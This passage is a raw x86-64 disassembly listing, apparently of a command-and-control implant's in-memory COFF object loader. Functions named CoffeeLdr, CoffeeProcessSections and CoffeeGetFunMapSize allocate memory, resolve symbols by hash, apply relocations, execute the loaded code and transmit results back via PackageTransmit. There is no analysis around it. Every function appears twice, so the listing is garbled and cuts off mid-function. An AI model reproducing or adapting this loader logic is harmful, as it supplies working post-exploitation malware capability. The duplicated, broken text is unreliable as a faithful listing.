14000901dtest [rax+39], 32
140009021jne 0x14000903f
140009023
140009023loc_140009023:
140009023mov r9, r12
140009026mov r8l, 351
14000902clea rdx, [rip+0x2424d]
140009033lea rcx, [rip+0x22319]
14000903ajmp 0x140008e46
14000903f
14000903floc_14000903f:
14000903fmov r8l, 355
140009045lea rdx, [rip+0x24234]
14000904clea rcx, [rip+0x22262]
140009053lea r9, [rip+0x2233b]
14000905acall printf
14000905fmov r8, r14
140009062mov rdx, r13
140009065mov rcx, r12
140009068call CoffeeFunction
14000906dtest rsi, rsi
140009070jne 0x140009079
140009072
140009072loc_140009072:
140009072mov eax, 1
140009077jmp 0x140009084
140009079
140009079loc_140009079:
140009079mov rcx, rsi
14000907ccall [rbp+436]
140009082jmp 0x140009072
140009084
140009084loc_140009084:
140009084add rsp, 56
140009088pop rbx
140009089pop rsi
14000908apop rdi
14000908bpop rbp
14000908cpop r12
14000908epop r13
140009090pop r14
140009092pop r15
140009094ret
140008d20
140009095
140009095 // align 0x10
140009095 // align 0x10
1400090a0
1400090a0CoffeeFunction:
1400090a0sub rsp, 40
1400090a4mov rax, rcx
1400090a7mov rcx, rdx
1400090aamov rdx, [rsp+40]
1400090afmov [rip+0x1be8a], rdx
1400090b6mov edx, r8l
1400090b9call rax
1400090bblea r9, [rip+0x221ea]
1400090c2mov r8l, 223
1400090c8lea rdx, [rip+0x24251]
1400090cflea rcx, [rip+0x221df]
1400090d6add rsp, 40
1400090dajmp 0x140023140
1400090a0
1400090a0CoffeeFunction:
1400090a0sub rsp, 40
1400090a4mov rax, rcx
1400090a7mov rcx, rdx
1400090aamov rdx, [rsp+40]
1400090afmov [rip+0x1be8a], rdx
1400090b6mov edx, r8l
1400090b9call rax
1400090bblea r9, [rip+0x221ea]
1400090c2mov r8l, 223
1400090c8lea rdx, [rip+0x24251]
1400090cflea rcx, [rip+0x221df]
1400090d6add rsp, 40
1400090dajmp 0x140023140
1400090a0
1400090df
1400090df // align 0x10
1400090df // align 0x10
1400090e0
1400090e0CoffeeGetFunMapSize:
1400090e0push r14
1400090e2xor eax, eax
1400090e4push r13
1400090e6push r12
1400090e8xor r12l, r12l
1400090ebpush rbp
1400090ecpush rdi
1400090edpush rsi
1400090eexor esi, esi
1400090f0push rbx
1400090f1mov rbx, rcx
1400090f4sub rsp, 48
1400090f8mov [rsp+39], rax
1400090fdlea r13, [rsp+39]
140009102mov [rsp+47], 0
140009107
140009107loc_140009107:
140009107mov rax, [rbx+8]
14000910bcmp r12w, [rax+2]
140009110jae 0x1400091b1
140009116movzx edx, r12w
14000911amov rax, [rbx]
14000911dxor r14l, r14l
140009120xor ebp, ebp
140009122imul rdx, rdx, 40
140009126lea rdx, [rax+rdx+20]
14000912bmov [rbx+16], rdx
14000912fmov edx, [rdx+24]
140009132add rax, rdx
140009135
140009135loc_140009135:
140009135mov rdx, [rbx+16]
140009139mov [rbx+24], rax
14000913dmovzx edx, [rdx+32]
140009141cmp r14l, edx
140009144jae 0x1400091a9
140009146mov edx, [rax+4]
140009149mov rcx, [rbx+32]
14000914dimul rdx, rdx, 18
140009151add rdx, rcx
140009154cmp [rdx], 0
140009157je 0x140009172
140009159mov rdi, r13
14000915cmov ecx, 9
140009161mov eax, ebp
140009163rep stosb [rdi], al
140009165mov rax, [rdx]
140009168mov rcx, r13
14000916bmov [rsp+39], rax
140009170jmp 0x140009186
140009172
140009172loc_140009172:
140009172mov rax, [rbx+8]
140009176mov edx, [rdx+4]
140009179mov eax, [rax+12]
14000917cimul rax, rax, 18
140009180add rax, rdx
140009183add rcx, rax
140009186
140009186loc_140009186:
140009186xor r8l, r8l
140009189mov edx, 6
14000918ecall HashEx
140009193cmp eax, 0xffffffffec6ba2a8
140009198jne 0x14000919c
14000919ainc esi
14000919c
14000919cloc_14000919c:
14000919cmov rax, [rbx+24]
1400091a0inc r14l
1400091a3add rax, 10
1400091a7jmp 0x140009135
1400091a9
1400091a9loc_1400091a9:
1400091a9inc r12l
1400091acjmp 0x140009107
1400091b1
1400091b1loc_1400091b1:
1400091b1add rsp, 48
1400091b5mov eax, esi
1400091b7pop rbx
1400091b8shl rax, 3
1400091bcpop rsi
1400091bdpop rdi
1400091bepop rbp
1400091bfpop r12
1400091c1pop r13
1400091c3pop r14
1400091c5ret
1400090e0
1400090e0CoffeeGetFunMapSize:
1400090e0push r14
1400090e2xor eax, eax
1400090e4push r13
1400090e6push r12
1400090e8xor r12l, r12l
1400090ebpush rbp
1400090ecpush rdi
1400090edpush rsi
1400090eexor esi, esi
1400090f0push rbx
1400090f1mov rbx, rcx
1400090f4sub rsp, 48
1400090f8mov [rsp+39], rax
1400090fdlea r13, [rsp+39]
140009102mov [rsp+47], 0
140009107
140009107loc_140009107:
140009107mov rax, [rbx+8]
14000910bcmp r12w, [rax+2]
140009110jae 0x1400091b1
140009116movzx edx, r12w
14000911amov rax, [rbx]
14000911dxor r14l, r14l
140009120xor ebp, ebp
140009122imul rdx, rdx, 40
140009126lea rdx, [rax+rdx+20]
14000912bmov [rbx+16], rdx
14000912fmov edx, [rdx+24]
140009132add rax, rdx
140009135
140009135loc_140009135:
140009135mov rdx, [rbx+16]
140009139mov [rbx+24], rax
14000913dmovzx edx, [rdx+32]
140009141cmp r14l, edx
140009144jae 0x1400091a9
140009146mov edx, [rax+4]
140009149mov rcx, [rbx+32]
14000914dimul rdx, rdx, 18
140009151add rdx, rcx
140009154cmp [rdx], 0
140009157je 0x140009172
140009159mov rdi, r13
14000915cmov ecx, 9
140009161mov eax, ebp
140009163rep stosb [rdi], al
140009165mov rax, [rdx]
140009168mov rcx, r13
14000916bmov [rsp+39], rax
140009170jmp 0x140009186
140009172
140009172loc_140009172:
140009172mov rax, [rbx+8]
140009176mov edx, [rdx+4]
140009179mov eax, [rax+12]
14000917cimul rax, rax, 18
140009180add rax, rdx
140009183add rcx, rax
140009186
140009186loc_140009186:
140009186xor r8l, r8l
140009189mov edx, 6
14000918ecall HashEx
140009193cmp eax, 0xffffffffec6ba2a8
140009198jne 0x14000919c
14000919ainc esi
14000919c
14000919cloc_14000919c:
14000919cmov rax, [rbx+24]
1400091a0inc r14l
1400091a3add rax, 10
1400091a7jmp 0x140009135
1400091a9
1400091a9loc_1400091a9:
1400091a9inc r12l
1400091acjmp 0x140009107
1400091b1
1400091b1loc_1400091b1:
1400091b1add rsp, 48
1400091b5mov eax, esi
1400091b7pop rbx
1400091b8shl rax, 3
1400091bcpop rsi
1400091bdpop rdi
1400091bepop rbp
1400091bfpop r12
1400091c1pop r13
1400091c3pop r14
1400091c5ret
1400090e0
1400091c6
1400091c6 // align 0x10
1400091c6 // align 0x10
1400091d0
1400091d0CoffeeLdr:
1400091d0push r15
1400091d2push r14
1400091d4mov r14, r9
1400091d7push r13
1400091d9mov r13, rdx
1400091dcpush r12
1400091depush rbp
1400091dfpush rdi
1400091e0push rsi
1400091e1push rbx
1400091e2sub rsp, 88
1400091e6mov [rsp+48], r9
1400091ebmov r9, rcx
1400091eemov r12l, [rsp+192]
1400091f6mov [rsp+40], r8
1400091fbmov [rsp+32], rdx
140009200lea rdx, [rip+0x23749]
140009207mov [rsp+64], rcx
14000920clea rcx, [rip+0x222a4]
140009213mov [rsp+72], r8
140009218mov r8l, 650
14000921ecall printf
140009223test r13, r13
140009226jne 0x14000924c
140009228lea r9, [rip+0x222d7]
14000922fmov r8l, 654
140009235lea rdx, [rip+0x23714]
14000923cxor ebx, ebx
14000923elea rcx, [rip+0x22070]
140009245call printf
14000924ajmp 0x1400092b7
14000924c
14000924cloc_14000924c:
14000924cmov rsi, [rip+0x2311d]
140009253mov edx, 92
140009258mov ecx, 64
14000925dcall [rsi+932]
140009263mov [rax], r13
140009266mov rbx, rax
140009269mov [rax+8], r13
14000926dmov eax, [r13+8]
140009271mov [rbx+56], r12l
140009275add rax, r13
140009278cmp [r13], -31132
14000927fmov [rbx+32], rax
140009283mov rax, [rsi+2334]
14000928amov [rbx+84], rax
14000928emov [rsi+2334], rbx
140009295je 0x1400092be
140009297lea r9, [rip+0x22281]
14000929emov r8l, 677
1400092a4
1400092a4loc_1400092a4:
1400092a4lea rdx, [rip+0x236a5]
1400092ablea rcx, [rip+0x22003]
1400092b2call printf
1400092b7
1400092b7loc_1400092b7:
1400092b7xor ebp, ebp
1400092b9jmp 0x140009445
1400092be
1400092beloc_1400092be:
1400092bemovzx edx, [r13+2]
1400092c3mov ecx, 64
1400092c8shl rdx, 4
1400092cccall [rsi+932]
1400092d2mov rcx, rbx
1400092d5mov [rbx+60], rax
1400092d9call CoffeeGetFunMapSize
1400092decmp [rbx+60], 0
1400092e3mov [rbx+76], rax
1400092e7mov r8, rax
1400092eaje 0x1400092ff
1400092ecmov rax, [rbx+8]
1400092f0mov r9l, 20
1400092f6xor ecx, ecx
1400092f8mov r11w, [rax+2]
1400092fdjmp 0x14000930e
1400092ff
1400092ffloc_1400092ff:
1400092fflea r9, [rip+0x2222e]
140009306mov r8l, 696
14000930cjmp 0x1400092a4
14000930e
14000930eloc_14000930e:
14000930emov rax, [rbx+48]
140009312cmp r11w, cx
140009316je 0x140009342
140009318mov rdx, [rbx]
14000931binc ecx
14000931dadd rdx, r9
140009320add r9, 40
140009324mov [rbx+16], rdx
140009328mov edx, [rdx+16]
14000932badd rdx, rax
14000932emov rax, rdx
140009331neg rax
140009334and eax, 4095
140009339add rax, rdx
14000933cmov [rbx+48], rax
140009340jmp 0x14000930e
140009342
140009342loc_140009342:
140009342add r8, rax
140009345mov r9l, 4
14000934bor rdx, -1
14000934fxor ecx, ecx
140009351mov [rbx+48], r8
140009355xor r15l, r15l
140009358call MemoryAlloc
14000935dlea r9, [rip+0x221ea]
140009364mov r8l, 714
14000936amov [rbx+40], rax
14000936etest rax, rax
140009371je 0x1400092a4
140009377
140009377loc_140009377:
140009377mov rdx, [rbx+8]
14000937bcmp r15w, [rdx+2]
140009380jae 0x140009408
140009386movzx esi, r15w
14000938amov rcx, [rbx]
14000938dmovzx r9l, r15w
140009391mov r8l, 728
140009397imul rdx, rsi, 40
14000939bshl rsi, 4
14000939finc r15l
1400093a2lea rdx, [rcx+rdx+20]
1400093a7mov rcx, [rbx+60]
1400093abmov [rbx+16], rdx
1400093afmov edx, [rdx+16]
1400093b2add rcx, rsi
1400093b5mov [rcx+8], rdx
1400093b9add rdx, rax
1400093bcmov rbp, rdx
1400093bfmov [rcx], rax
1400093c2lea rcx, [rip+0x221ab]
1400093c9mov [rsp+32], rax
1400093ceneg rbp
1400093d1and ebp, 4095
1400093d7add rbp, rdx
1400093dalea rdx, [rip+0x2356f]
1400093e1call printf
1400093e6mov rdx, [rbx+16]
1400093eamov rax, [rbx+60]
1400093eemov rax, [rax+rsi]
1400093f2mov esi, [rdx+20]
1400093f5mov ecx, [rdx+16]
1400093f8mov rdi, rax
1400093fbadd rsi, r13
1400093femov rax, rbp
140009401rep movsb [rdi], [rsi]
140009403jmp 0x140009377
140009408
140009408loc_140009408:
140009408mov [rbx+68], rax
14000940cmov rcx, rbx
14000940fcall CoffeeProcessSections
140009414lea r9, [rip+0x22189]
14000941bmov r8l, 738
140009421test eax, eax
140009423je 0x1400092a4
140009429mov [rsp+32], r12l
14000942emov r8, [rsp+72]
140009433mov r9, r14
140009436mov rcx, rbx
140009439mov rdx, [rsp+64]
14000943ecall CoffeeExecuteFunction
140009443mov ebp, eax
140009445
140009445loc_140009445:
140009445lea rdx, [rip+0x23504]
14000944clea r9, [rip+0x22172]
140009453mov r8l, 745
140009459lea rcx, [rip+0x21e55]
140009460call printf
140009465mov rcx, rbx
140009468call CoffeeCleanup
14000946dmov edx, r12l
140009470mov ecx, 20
140009475test ebp, ebp
140009477je 0x140009488
140009479call PackageCreateWithRequestID
14000947emov edx, 3
140009483mov rsi, rax
140009486jmp 0x140009495
140009488
140009488loc_140009488:
140009488call PackageCreateWithRequestID
14000948dmov edx, 4
140009492mov rsi, rax
140009495
140009495loc_140009495:
140009495mov rcx, rsi
140009498call PackageAddInt32
14000949dmov rcx, rsi
1400094a0call PackageTransmit
1400094a5mov rcx, rbx
1400094a8call RemoveCoffeeFromInstance
1400094adtest rbx, rbx
1400094b0je 0x1400094e1
1400094b2mov rdi, rbx
1400094b5mov ecx, 8
1400094baxor eax, eax
1400094bcrep stosb [rdi], al
1400094bemov rax, [rip+0x22eab]
1400094c5mov rcx, rbx
1400094c8mov rax, [rax+940]
1400094cfadd rsp, 88
1400094d3pop rbx
1400094d4pop rsi
1400094d5pop rdi
1400094d6pop rbp
1400094d7pop r12
1400094d9pop r13
1400094dbpop r14
1400094ddpop r15
1400094dfjmp rax
1400094e1
1400094e1loc_1400094e1:
1400094e1add rsp, 88
1400094e5pop rbx
1400094e6pop rsi
1400094e7pop rdi
1400094e8pop rbp
1400094e9pop r12
1400094ebpop r13
1400094edpop r14
1400094efpop r15
1400094f1ret
1400091d0
1400091d0CoffeeLdr:
1400091d0push r15
1400091d2push r14
1400091d4mov r14, r9
1400091d7push r13
1400091d9mov r13, rdx
1400091dcpush r12
1400091depush rbp
1400091dfpush rdi
1400091e0push rsi
1400091e1push rbx
1400091e2sub rsp, 88
1400091e6mov [rsp+48], r9
1400091ebmov r9, rcx
1400091eemov r12l, [rsp+192]
1400091f6mov [rsp+40], r8
1400091fbmov [rsp+32], rdx
140009200lea rdx, [rip+0x23749]
140009207mov [rsp+64], rcx
14000920clea rcx, [rip+0x222a4]
140009213mov [rsp+72], r8
140009218mov r8l, 650
14000921ecall printf
140009223test r13, r13
140009226jne 0x14000924c
140009228lea r9, [rip+0x222d7]
14000922fmov r8l, 654
140009235lea rdx, [rip+0x23714]
14000923cxor ebx, ebx
14000923elea rcx, [rip+0x22070]
140009245call printf
14000924ajmp 0x1400092b7
14000924c
14000924cloc_14000924c:
14000924cmov rsi, [rip+0x2311d]
140009253mov edx, 92
140009258mov ecx, 64
14000925dcall [rsi+932]
140009263mov [rax], r13
140009266mov rbx, rax
140009269mov [rax+8], r13
14000926dmov eax, [r13+8]
140009271mov [rbx+56], r12l
140009275add rax, r13
140009278cmp [r13], -31132
14000927fmov [rbx+32], rax
140009283mov rax, [rsi+2334]
14000928amov [rbx+84], rax
14000928emov [rsi+2334], rbx
140009295je 0x1400092be
140009297lea r9, [rip+0x22281]
14000929emov r8l, 677
1400092a4
1400092a4loc_1400092a4:
1400092a4lea rdx, [rip+0x236a5]
1400092ablea rcx, [rip+0x22003]
1400092b2call printf
1400092b7
1400092b7loc_1400092b7:
1400092b7xor ebp, ebp
1400092b9jmp 0x140009445
1400092be
1400092beloc_1400092be:
1400092bemovzx edx, [r13+2]
1400092c3mov ecx, 64
1400092c8shl rdx, 4
1400092cccall [rsi+932]
1400092d2mov rcx, rbx
1400092d5mov [rbx+60], rax
1400092d9call CoffeeGetFunMapSize
1400092decmp [rbx+60], 0
1400092e3mov [rbx+76], rax
1400092e7mov r8, rax
1400092eaje 0x1400092ff
1400092ecmov rax, [rbx+8]
1400092f0mov r9l, 20
1400092f6xor ecx, ecx
1400092f8mov r11w, [rax+2]
1400092fdjmp 0x14000930e
1400092ff
1400092ffloc_1400092ff:
1400092fflea r9, [rip+0x2222e]
140009306mov r8l, 696
14000930cjmp 0x1400092a4
14000930e
14000930eloc_14000930e:
14000930emov rax, [rbx+48]
140009312cmp r11w, cx
140009316je 0x140009342
140009318mov rdx, [rbx]
14000931binc ecx
14000931dadd rdx, r9
140009320add r9, 40
140009324mov [rbx+16], rdx
140009328mov edx, [rdx+16]
14000932badd rdx, rax
14000932emov rax, rdx
140009331neg rax
140009334and eax, 4095
140009339add rax, rdx
14000933cmov [rbx+48], rax
140009340jmp 0x14000930e
140009342
140009342loc_140009342:
140009342add r8, rax
140009345mov r9l, 4
14000934bor rdx, -1
14000934fxor ecx, ecx
140009351mov [rbx+48], r8
140009355xor r15l, r15l
140009358call MemoryAlloc
14000935dlea r9, [rip+0x221ea]
140009364mov r8l, 714
14000936amov [rbx+40], rax
14000936etest rax, rax
140009371je 0x1400092a4
140009377
140009377loc_140009377:
140009377mov rdx, [rbx+8]
14000937bcmp r15w, [rdx+2]
140009380jae 0x140009408
140009386movzx esi, r15w
14000938amov rcx, [rbx]
14000938dmovzx r9l, r15w
140009391mov r8l, 728
140009397imul rdx, rsi, 40
14000939bshl rsi, 4
14000939finc r15l
1400093a2lea rdx, [rcx+rdx+20]
1400093a7mov rcx, [rbx+60]
1400093abmov [rbx+16], rdx
1400093afmov edx, [rdx+16]
1400093b2add rcx, rsi
1400093b5mov [rcx+8], rdx
1400093b9add rdx, rax
1400093bcmov rbp, rdx
1400093bfmov [rcx], rax
1400093c2lea rcx, [rip+0x221ab]
1400093c9mov [rsp+32], rax
1400093ceneg rbp
1400093d1and ebp, 4095
1400093d7add rbp, rdx
1400093dalea rdx, [rip+0x2356f]
1400093e1call printf
1400093e6mov rdx, [rbx+16]
1400093eamov rax, [rbx+60]
1400093eemov rax, [rax+rsi]
1400093f2mov esi, [rdx+20]
1400093f5mov ecx, [rdx+16]
1400093f8mov rdi, rax
1400093fbadd rsi, r13
1400093femov rax, rbp
140009401rep movsb [rdi], [rsi]
140009403jmp 0x140009377
140009408
140009408loc_140009408:
140009408mov [rbx+68], rax
14000940cmov rcx, rbx
14000940fcall CoffeeProcessSections
140009414lea r9, [rip+0x22189]
14000941bmov r8l, 738
140009421test eax, eax
140009423je 0x1400092a4
140009429mov [rsp+32], r12l
14000942emov r8, [rsp+72]
140009433mov r9, r14
140009436mov rcx, rbx
140009439mov rdx, [rsp+64]
14000943ecall CoffeeExecuteFunction
140009443mov ebp, eax
140009445
140009445loc_140009445:
140009445lea rdx, [rip+0x23504]
14000944clea r9, [rip+0x22172]
140009453mov r8l, 745
140009459lea rcx, [rip+0x21e55]
140009460call printf
140009465mov rcx, rbx
140009468call CoffeeCleanup
14000946dmov edx, r12l
140009470mov ecx, 20
140009475test ebp, ebp
140009477je 0x140009488
140009479call PackageCreateWithRequestID
14000947emov edx, 3
140009483mov rsi, rax
140009486jmp 0x140009495
140009488
140009488loc_140009488:
140009488call PackageCreateWithRequestID
14000948dmov edx, 4
140009492mov rsi, rax
140009495
140009495loc_140009495:
140009495mov rcx, rsi
140009498call PackageAddInt32
14000949dmov rcx, rsi
1400094a0call PackageTransmit
1400094a5mov rcx, rbx
1400094a8call RemoveCoffeeFromInstance
1400094adtest rbx, rbx
1400094b0je 0x1400094e1
1400094b2mov rdi, rbx
1400094b5mov ecx, 8
1400094baxor eax, eax
1400094bcrep stosb [rdi], al
1400094bemov rax, [rip+0x22eab]
1400094c5mov rcx, rbx
1400094c8mov rax, [rax+940]
1400094cfadd rsp, 88
1400094d3pop rbx
1400094d4pop rsi
1400094d5pop rdi
1400094d6pop rbp
1400094d7pop r12
1400094d9pop r13
1400094dbpop r14
1400094ddpop r15
1400094dfjmp rax
1400094e1
1400094e1loc_1400094e1:
1400094e1add rsp, 88
1400094e5pop rbx
1400094e6pop rsi
1400094e7pop rdi
1400094e8pop rbp
1400094e9pop r12
1400094ebpop r13
1400094edpop r14
1400094efpop r15
1400094f1ret
1400091d0
1400094f2
1400094f2 // align 0x10
1400094f2 // align 0x10
140009500
140009500CoffeeProcessSections:
140009500push r15
140009502lea r9, [rip+0x21eda]
140009509mov r8l, 397
14000950flea rdx, [rip+0x23b3a]
140009516push r14
140009518xor r14l, r14l
14000951bpush r13
14000951dpush r12
14000951fxor r12l, r12l
140009522push rbp
140009523mov rbp, rcx
140009526lea rcx, [rip+0x21d88]
14000952dpush rdi
14000952epush rsi
14000952fpush rbx
140009530sub rsp, 104
140009534call printf
140009539xor eax, eax
14000953bmov [rsp+95], 0
140009540lea r15, [rsp+87]
140009545mov [rsp+72], rax
14000954amov [rsp+87], rax
14000954f
14000954floc_14000954f:
14000954fmov rax, [rbp+8]
140009553cmp r12w, [rax+2]
140009558jae 0x1400097b5
14000955emovzx r13l, r12w
140009562mov rax, [rbp]
140009566xor r10l, r10l
140009569imul rdx, r13, 40
14000956dshl r13, 4
140009571lea rdx, [rax+rdx+20]
140009576mov [rbp+16], rdx
14000957amov edx, [rdx+24]
14000957dadd rax, rdx
140009580
140009580loc_140009580:
140009580mov rdx, [rbp+16]
140009584mov [rbp+24], rax
140009588movzx edx, [rdx+32]
14000958ccmp r10l, edx
14000958fjae 0x1400097ad
140009595mov r8l, [rax+4]
140009599mov rdx, [rbp+32]
14000959dimul r8, r8, 18
1400095a1add r8, rdx
1400095a4cmp [r8], 0
1400095a8je 0x1400095c3
1400095aamov rdi, r15
1400095admov ecx, 9
1400095b2xor eax, eax
1400095b4rep stosb [rdi], al
1400095b6mov rax, [r8]
1400095b9mov rdx, r15
1400095bcmov [rsp+87], rax
1400095c1jmp 0x1400095d8
1400095c3
1400095c3loc_1400095c3:
1400095c3mov rax, [rbp+8]
1400095c7mov ecx, [r8+4]
1400095cbmov eax, [rax+12]
1400095ceimul rax, rax, 18
1400095d2add rax, rcx
1400095d5add rdx, rax
1400095d8
1400095d8loc_1400095d8:
1400095d8mov rax, [rbp+24]
1400095dcmov rcx, [rbp+60]
1400095e0lea r9, [rsp+72]
1400095e5mov [rsp+60], r10l
1400095eamov [rsp+48], rdx
1400095efmov rdi, [rbp+68]
1400095f3mov ebx, [rax]
1400095f5movzx eax, [r8+12]
1400095famovzx r8l, [r8+14]
1400095ffadd rbx, [rcx+r13]
140009603shl rax, 4
140009607mov rsi, [rcx+rax-16]
14000960cmov rcx, rbp
14000960fcall CoffeeProcessSymbol
140009614mov rdx, [rsp+48]
140009619mov r10l, [rsp+60]
14000961etest eax, eax
140009620jne 0x140009643
140009622mov r9, rdx
140009625mov r8l, 445
14000962blea rdx, [rip+0x23a1e]
140009632lea rcx, [rip+0x21dbb]
140009639call printf
14000963ejmp 0x140009799
140009643
140009643loc_140009643:
140009643mov rax, [rbp+24]
140009647movzx r9l, [rax+8]
14000964cmov rax, [rsp+72]
140009651cmp r9w, 4
140009656jne 0x14000967b
140009658test rax, rax
14000965bje 0x140009702
140009661mov edx, r14l
140009664inc r14l
140009667lea rdx, [rdi+8*rdx]
14000966bmov [rdx], rax
14000966esub rdx, rbx
140009671sub edx, 4
140009674mov [rbx], edx
140009676jmp 0x14000979d
14000967b
14000967bloc_14000967b:
14000967bcmp r9w, 5
140009680jne 0x140009696
140009682test rax, rax
140009685jne 0x14000972a
14000968bmov eax, [rbx]
14000968dsub rsi, rbx
140009690lea eax, [rax+rsi-5]
140009694jmp 0x14000970b
140009696
140009696loc_140009696:
140009696cmp r9w, 6
14000969bjne 0x1400096b1
14000969dtest rax, rax
1400096a0jne 0x140009732
1400096a6mov eax, [rbx]
1400096a8sub rsi, rbx
1400096ablea eax, [rax+rsi-6]
1400096afjmp 0x14000970b
1400096b1
1400096b1loc_1400096b1:
1400096b1cmp r9w, 7
1400096b6jne 0x1400096c8
1400096b8test rax, rax
1400096bbjne 0x14000973a
1400096bdmov eax, [rbx]
1400096bfsub rsi, rbx
1400096c2lea eax, [rax+rsi-7]
1400096c6jmp 0x14000970b
1400096c8
1400096c8loc_1400096c8:
1400096c8cmp r9w, 8
1400096cdjne 0x1400096df
1400096cftest rax, rax
1400096d2jne 0x140009742
1400096d4mov eax, [rbx]
1400096d6sub rsi, rbx
1400096d9lea eax, [rax+rsi-8]
1400096ddjmp 0x14000970b
1400096df
1400096dfloc_1400096df:
1400096dfcmp r9w, 9
1400096e4jne 0x1400096f6
1400096e6test rax, rax
1400096e9jne 0x14000974a
1400096ebmov eax, [rbx]
1400096edsub rsi, rbx
1400096f0lea eax, [rax+rsi-9]
1400096f4jmp 0x14000970b
1400096f6
1400096f6loc_1400096f6:
1400096f6cmp r9w, 3
1400096fbjne 0x140009712
1400096fdtest rax, rax
140009700jne 0x140009752
140009702
140009702loc_140009702:
140009702mov eax, [rbx]
140009704sub rsi, rbx
140009707lea eax, [rax+rsi-4]
14000970b
14000970bloc_14000970b:
14000970bmov [rbx], eax
14000970djmp 0x14000979d
140009712
140009712loc_140009712:
140009712cmp r9w, 1
140009717jne 0x140009723
140009719test rax, rax
14000971cjne 0x14000975a
14000971eadd [rbx], rsi
140009721jmp 0x14000979d
140009723
140009723loc_140009723:
140009723test rax, rax
140009726je 0x140009780
140009728jmp 0x140009760
14000972a
14000972aloc_14000972a:
14000972amov r9l, 5
140009730jmp 0x140009760
140009732
140009732loc_140009732:
140009732mov r9l, 6
140009738jmp 0x140009760
14000973a
14000973aloc_14000973a:
14000973amov r9l, 7
140009740jmp 0x140009760
140009742
140009742loc_140009742:
140009742mov r9l, 8
140009748jmp 0x140009760
14000974a
14000974aloc_14000974a:
14000974amov r9l, 9
140009750jmp 0x140009760
140009752
140009752loc_140009752:
140009752mov r9l, 3
140009758jmp 0x140009760
14000975a
14000975aloc_14000975a:
14000975amov r9l, 1
140009760
140009760loc_140009760:
140009760mov [rsp+32], rdx
140009765mov r8l, 556
14000976blea rdx, [rip+0x238de]
140009772lea rcx, [rip+0x21cad]
140009779call printf
14000977ejmp 0x140009799
140009780
140009780loc_140009780:
140009780mov r8l, 560
140009786lea rdx, [rip+0x238c3]
14000978dlea rcx, [rip+0x21cd6]
140009794call printf
140009799
140009799loc_140009799:
140009799xor eax, eax
14000979bjmp 0x1400097ba
14000979d
14000979dloc_14000979d:
14000979dmov rax, [rbp+24]
1400097a1inc r10l
1400097a4add rax, 10
1400097a8jmp 0x140009580
1400097ad
1400097adloc_1400097ad:
1400097adinc r12l
1400097b0jmp 0x14000954f
1400097b5
1400097b5loc_1400097b5:
1400097b5mov eax, 1
1400097ba
1400097baloc_1400097ba:
1400097baadd rsp, 104
1400097bepop rbx
1400097bfpop rsi
1400097c0pop rdi
1400097c1pop rbp
1400097c2pop r12
1400097c4pop r13
1400097c6pop r14
1400097c8pop r15
1400097caret
140009500
140009500CoffeeProcessSections:
140009500push r15
140009502lea r9, [rip+0x21eda]
140009509mov r8l, 397
14000950flea rdx, [rip+0x23b3a]
140009516push r14
140009518xor r14l, r14l
14000951bpush r13
14000951dpush r12
14000951fxor r12l, r12l
140009522push rbp
140009523mov rbp, rcx
140009526lea rcx, [rip+0x21d88]
14000952dpush rdi
14000952epush rsi
14000952fpush rbx
140009530sub rsp, 104
140009534call printf
140009539xor eax, eax
14000953bmov [rsp+95], 0
140009540lea r15, [rsp+87]
140009545mov [rsp+72], rax
14000954amov [rsp+87], rax
14000954f
14000954floc_14000954f:
14000954fmov rax, [rbp+8]
140009553cmp r12w, [rax+2]
140009558jae 0x1400097b5
14000955emovzx r13l, r12w
140009562mov rax, [rbp]
140009566xor r10l, r10l
140009569imul rdx, r13, 40
14000956dshl r13, 4
140009571lea rdx, [rax+rdx+20]
140009576mov [rbp+16], rdx
14000957amov edx, [rdx+24]
14000957dadd rax, rdx
140009580
140009580loc_140009580:
140009580mov rdx, [rbp+16]
140009584mov [rbp+24], rax
140009588movzx edx, [rdx+32]
14000958ccmp r10l, edx
14000958fjae 0x1400097ad
140009595mov r8l, [rax+4]
140009599mov rdx, [rbp+32]
14000959dimul r8, r8, 18
1400095a1add r8, rdx
1400095a4cmp [r8], 0
1400095a8je 0x1400095c3
1400095aamov rdi, r15
1400095admov ecx, 9
1400095b2xor eax, eax
1400095b4rep stosb [rdi], al
1400095b6mov rax, [r8]
1400095b9mov rdx, r15
1400095bcmov [rsp+87], rax
1400095c1jmp 0x1400095d8
1400095c3
1400095c3loc_1400095c3:
1400095c3mov rax, [rbp+8]
1400095c7mov ecx, [r8+4]
1400095cbmov eax, [rax+12]
1400095ceimul rax, rax, 18
1400095d2add rax, rcx
1400095d5add rdx, rax
1400095d8
1400095d8loc_1400095d8:
1400095d8mov rax, [rbp+24]
1400095dcmov rcx, [rbp+60]
1400095e0lea r9, [rsp+72]
1400095e5mov [rsp+60], r10l
1400095eamov [rsp+48], rdx
1400095efmov rdi, [rbp+68]
1400095f3mov ebx, [rax]
1400095f5movzx eax, [r8+12]
1400095famovzx r8l, [r8+14]
1400095ffadd rbx, [rcx+r13]
140009603shl rax, 4
140009607mov rsi, [rcx+rax-16]
14000960cmov rcx, rbp
14000960fcall CoffeeProcessSymbol
140009614mov rdx, [rsp+48]
140009619mov r10l, [rsp+60]
14000961etest eax, eax
140009620jne 0x140009643
140009622mov r9, rdx
140009625mov r8l, 445
14000962blea rdx, [rip+0x23a1e]
140009632lea rcx, [rip+0x21dbb]
140009639call printf
14000963ejmp 0x140009799
140009643
140009643loc_140009643:
140009643mov rax, [rbp+24]
140009647movzx r9l, [rax+8]
14000964cmov rax, [rsp+72]
140009651cmp r9w, 4
140009656jne 0x14000967b
140009658test rax, rax
14000965bje 0x140009702
140009661mov edx, r14l
140009664inc r14l
140009667lea rdx, [rdi+8*rdx]
14000966bmov [rdx], rax
14000966esub rdx, rbx
140009671sub edx, 4
140009674mov [rbx], edx
140009676jmp 0x14000979d
14000967b
14000967bloc_14000967b:
14000967bcmp r9w, 5
140009680jne 0x140009696
140009682test rax, rax
140009685jne 0x14000972a
14000968bmov eax, [rbx]
14000968dsub rsi, rbx
140009690lea eax, [rax+rsi-5]
140009694jmp 0x14000970b
140009696
140009696loc_140009696:
140009696cmp r9w, 6
14000969bjne 0x1400096b1
14000969dtest rax, rax
1400096a0jne 0x140009732
1400096a6mov eax, [rbx]
1400096a8sub rsi, rbx
1400096ablea eax, [rax+rsi-6]
1400096afjmp 0x14000970b
1400096b1
1400096b1loc_1400096b1:
1400096b1cmp r9w, 7
1400096b6jne 0x1400096c8
1400096b8test rax, rax
1400096bbjne 0x14000973a
1400096bdmov eax, [rbx]
1400096bfsub rsi, rbx
1400096c2lea eax, [rax+rsi-7]
1400096c6jmp 0x14000970b
1400096c8
1400096c8loc_1400096c8:
1400096c8cmp r9w, 8
1400096cdjne 0x1400096df
1400096cftest rax, rax
